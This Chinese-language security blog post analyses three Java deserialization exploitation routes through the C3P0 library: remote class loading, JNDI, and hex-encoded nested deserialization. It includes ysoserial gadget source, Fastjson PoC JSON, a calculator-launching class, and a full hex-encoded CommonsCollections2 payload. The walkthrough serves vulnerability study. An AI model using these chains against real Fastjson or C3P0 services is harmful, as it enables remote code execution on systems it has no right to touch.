Java安全之C3P0利用與分析

Java安全之C3P0利用與分析

寫在前面

很久以前就聽nice0e3師傅說打Fastjson可以試試C3P0,當時還不會java(雖然現在也沒會多少)也就沒有深究。最近調試Fastjson的漏洞,又想到了這個點,就拿出來學習下。

C3P0 Gadget

C3P0中有三種利用方式

  • http base
  • JNDI
  • HEX序列化位元組載入器

下面來一點點看他們究竟是怎樣使用的。

先貼上ysoserial項目中C3P0 Gadget的源碼:

package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 *
 *
 * com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
 *
 * Arguments:
 * - base_url:classname
 *
 * Yields:
 * - Instantiation of remotely loaded class
 *
 * @author mbechler
 *
 */
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }




    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0.class, args);
    }

}

http base

可以本地起一個反序列化的環境,導入c3p0的依賴

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

會導入下面兩個jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial項目中直接測試下

public static void main ( final String[] args ) throws Exception {
        // PayloadRunner.run(C3P0.class, args);
    C3P0 c3P0 = new C3P0();
    Object object = c3P0.getObject("//127.0.0.1:9010/:calc");
    byte[] serialize = Serializer.serialize(object);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object o = objectInputStream.readObject();
}

之後準備個彈計算器的類,編譯成class,之後再起個http服務

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

C3P0.getObject()

先來正向調試下序列化的過程
先跟進看C3P0.getObject()前面是通過最後一個:拿到url和需要遠程載入的className

之後通過反射創建了一個PoolBackedDataSource對象

接著反射設置PoolBackedDataSourceBase類中屬性connectionPoolDataSourcePoolSource對象

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

實例化時會把urlclassName即我們遠程地址和惡意類的類名賦值給PoolSource的屬性

序列化

序列化時會調用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是會拋出異常進入catch部分

之後依然會調用writeObject方法

首先會先去indirector.indirectForm(this.connectionPoolDataSource),而this.connectionPoolDataSource的兩個屬性是我們的遠程地址和惡意類類名
indirectForm方法邏輯如下:

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

首先調用我們傳入對象的getReference方法,也即是PoolSource#getReference()該方法會實例化一個Reference對象

後面將生成的Reference對象作為參數傳遞進ReferenceIndirector.ReferenceSerialized,調用有參構造去實例化

反序列化

反序列化入口點應在PoolBackedDataSourceBase#readObject()處,我們下個斷點跟進去

而在readObject()中會去調用ReferenceIndirector.ReferenceSerialized#getObject()方法,這裡單步調試進不去,直接在getObject()方法內下斷點F9跟進去。這裡並沒有調用lookup而是走到調用ReferenceableUtils.referenceToObject(),繼續跟

通過URLClassLoader遠程載入類造成遠程程式碼執行

Class.forName()

在nice0e3師傅文章里看到的,這個點以前學反射的時候沒深入跟,這裡深入學習一下。

這裡如果可以控制forName⽅法的第⼀個和第三個參數,並且第⼆個參數為 true,那麼就可以利⽤BCEL, ClassLoader實現任意程式碼載入執⾏ 。

首先可以把關鍵程式碼摳出來

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("//127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);

調試下看看,進入Class.forName()後首先去看是否設置了SecurityManager沒有的話則去調用forName0()

public static Class<?> forName(String name, boolean initialize,
                                   ClassLoader loader)
        throws ClassNotFoundException
{
    if (loader == null) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            ClassLoader ccl = ClassLoader.getCallerClassLoader();
            if (ccl != null) {
                sm.checkPermission(
                    SecurityConstants.GET_CLASSLOADER_PERMISSION);
            }
        }
    }
    return forName0(name, initialize, loader);
}

forName0()里是native程式碼,底層是C/C++實現,就跟不了了

private static native Class<?> forName0(String name, boolean initialize,
                                        ClassLoader loader)
    throws ClassNotFoundException;

官方文檔說明:只有當 initialize參數是true並且之前沒有被初始化時,類才會被初始化。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

這裡其實在審計的時候也可以關注下forName()的參數是否可控,可控的話就可以通過初始化來觸發程式碼執行

JNDI

利用姿勢

以Fastjson為例
PoC

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

調試分析

JNDI的話主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase中的setjndiName()去設置我們遠程ldap地址

最終走第二個if中this.pcs.firePropertyChange()方法

public void setJndiName(Object jndiName) throws PropertyVetoException {
    Object oldVal = this.jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
    }

    this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
    }

}

之後在解析到loginTimeout欄位時會調用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()方法

public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

inner()中,跟入this.dereference()

private synchronized DataSource inner() throws SQLException {
    if (this.cachedInner != null) {
        return this.cachedInner;
    } else {
        DataSource out = this.dereference();
        if (this.isCaching()) {
            this.cachedInner = out;
        }

        return out;
    }
}

在其中觸發了JNDI

先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()設置遠程ldap地址,之後通過com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout() ==> this.inner() ==> InitialContext.lookup()觸發JNDI

Hex序列化位元組載入器

利用姿勢

這裡其實就是常聽到的就是用C3P0二次反序列化打Fastjson,因為像Fastjson和Jackson在反序列化時都會觸發setter方法的執行,而C3P0中userOverridesAsString的setter會將HexAsciiSerializedMap開頭的hex字元串進行解碼再去觸發Java原生的反序列化
PoC

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內容;"}}

先生成序列化payload,這裡的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然後hex編碼一下拼到PoC里
CC2

➜  target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

Calc Hex String

ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

回顯RCE,PoC參考safe6sec項目

Godzilla4 Memshell

調試分析

前面也提到了,主要是調用到userOverridesAsString的setter觸發了反序列化,跟進去看一下

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

跟進listeners[current].vetoableChange(event);

之後進入WrapperConnectionPoolDataSource#setUpPropertyListeners()方法,其中調用了C3P0ImplUtils.parseUserOverridesAsString((String)val)去解析我們傳入的HexString

private void setUpPropertyListeners() {
    VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
        public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();
            if ("connectionTesterClassName".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
                } catch (Exception var6) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
                    }

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                }
            } else if ("userOverridesAsString".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
                } catch (Exception var5) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
                    }

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                }
            }

        }
    };
    this.addVetoableChangeListener(setConnectionTesterListener);
}

繼續跟進,利用subString截取了HexAsciiSerializedMap之後的Hex編碼字元串,交給ByteUtils.fromHexAscii(hexAscii)把Hex轉成bytes數組,之後調用SerializableUtils.fromByteArray(serBytes)處理

調用了deserializeFromByteArray方法,之後進入Java原生的readObject()

Reference

//www.cnblogs.com/nice0e3/p/15058285.html
//redteam.today/2020/04/18/c3p0的三個gadget/
//github.com/safe6Sec/Fastjson